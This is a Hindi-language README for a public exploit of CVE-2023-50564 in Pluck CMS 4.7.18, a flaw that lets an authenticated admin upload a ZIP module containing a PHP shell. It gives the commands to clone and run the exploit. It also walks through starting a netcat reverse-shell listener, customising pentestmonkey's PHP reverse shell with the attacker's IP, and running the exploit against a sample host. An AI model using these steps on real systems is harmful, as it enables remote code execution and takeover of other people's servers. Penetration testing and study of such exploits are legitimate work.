CVE-2023-50564

📌 विवरण

यह एक्सप्लॉइट Pluck CMS v4.7.18 में एक प्रमाणित व्यवस्थापक को एक दुर्भावनापूर्ण ZIP मॉड्यूल अपलोड करने की अनुमति देता है, जिसमें PHP शेल होता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन (RCE) होता है।

⚙️ विशेषताएँ

• एक मान्य उपयोगकर्ता नाम और पासवर्ड का उपयोग करके लक्ष्य पर प्रमाणीकरण करता है
• प्रदान की गई PHP फ़ाइल से स्वचालित रूप से एक ZIP संग्रह बनाता है
• मॉड्यूल को भेद्य installmodule एंडपॉइंट पर अपलोड करता है
• पेलोड को ट्रिगर करता है और आउटपुट प्रदर्शित करता है
• कस्टम लक्ष्य, पोर्ट, क्रेडेंशियल्स और शेल पथ का समर्थन करता है

🚀 उपयोग

git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h

python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]

• पोर्ट वैकल्पिक है और निर्दिष्ट नहीं होने पर डिफ़ॉल्ट रूप से 80 होता है।
• लक्ष्य निर्दिष्ट करते समय, IP पता या डोमेन नाम आवश्यक है (जैसे, 127.0.0.1 या test.domain)।

नमूना एक्सप्लॉइट

सबसे पहले, हमलावर मशीन पर रिवर्स शेल लिसनर शुरू किया जाना चाहिए (टर्मिनल का यह टैब समाप्त नहीं किया जाना चाहिए):

nc -nvlp <specify port>

फिर, https://github.com/pentestmonkey/php-reverse-shell से PHP रिवर्स शेल डाउनलोड करें और इसे हमलावर मशीन के अनुसार कस्टमाइज़ करें। (IP, port)

एक्सप्लॉइट कोड को दूसरे टैब पर चलाएँ:

python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php